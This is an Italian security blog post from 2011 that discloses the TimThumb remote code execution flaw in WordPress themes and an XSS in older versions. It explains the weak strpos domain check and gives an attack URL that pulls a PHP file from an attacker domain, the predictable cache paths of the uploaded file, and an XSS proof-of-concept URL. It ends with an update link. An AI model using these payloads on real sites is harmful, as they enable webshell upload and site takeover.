ClsHack Blog


WordPress TimThumb Oday :)

August 10th, 2011 by clshack


TimThumb è una Utility per l’auto ridimensionamento delle immagini presente in tantissimi Temi per Worpress e non solo nella quale è stata trovata una falla 0Day che consentirebbe ad un malintenzionato di caricare sul Blog qualsiasi tipo di file, compresa una webshell che permetterebbe di ottenere il pieno controllo del sito internet.

La scoperta è da attribuirsi a Mark Maunder, CEO della Seattle-based Feedjit, che ha rilasciato un comunicato ufficiale lunedì 8 Agosto 2011 spiegando che la vulnerabilità affligge circa 39 milioni di blog disponibili in internet ed è dovuto ad una disattenzione nella programmazione di TimThumb.

Nello script vengono abilitati 7 importanti siti internet nel caricare file e a ridimensionare immagini remotamente, nello specifico:

    $allowedSites = array (
    ‘flickr.com’,
    ‘picasa.com’,
    ‘blogger.com’,
    ‘wordpress.com’,
    ‘img.youtube.com’,
    ‘upload.wikimedia.org’,
    ‘photobucket.com’,
    );

Ma tale funzione si basa sulla libreria PHP strpos, come l’eregi esegue una verifica superficiale, il dominio può apparire in qualsiasi parte dell’host.

Returns the position as an integer. If needle is not found, strpos() will return boolean FALSE.

Ritorna vero se trova il nome di uno dei seguenti domini nella variabile $_GET['src'].
La vulnerabilità è sfruttabile in modo abbastanza semplice:

RCE:
Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)

http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php

Stored file on the Target: (This can change from host to host.)
1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
md5($src); means the input value of the ‘src’ GET-request – Hashed in MD5 format.

Nel verificare questo bug ho notato che molti siti con una versione meno aggiornata di TimThumb sono affetti anche da xss:


# Exploit Title: timthum.php XSS
# Date:9/8/2011
# Author: clshack
# Software Link: http://themes.svn.wordpress.org/shadow/1.1.4/timthumb.php
# Version:<= 1.1.4 or latest
# Tested on: WordPress 3.1
# CVE :

Code:

/**
* generic error message
*/
function displayError ($errorString = '') {

header('HTTP/1.1 400 Bad Request');
echo '<pre>' . $errorString . '<br />TimThumb version : ' . VERSION . '</pre>';
die();

}
In case file not found "echo displayError('file not found ' . $src);"
$src = get_request("src", "");

Poc:

http://SITE/wp-content/themes/THEMES/timthumb.php?src=%27%3E?%3Cscript%3Ealert%281%29%3C/script%3E

Per risolvere il problema basta aggiornare :P

http://timthumb.googlecode.com/svn/trunk/timthumb.php

Altre fonti:
http://www.coresec.org/2011/08/03/wordpress-timthumb-plugin-remote-code-execution/

http://www.oversecurity.net/2011/08/09/vulnerabilita-0day-nellutility-timthumb-di-wordpress/

:)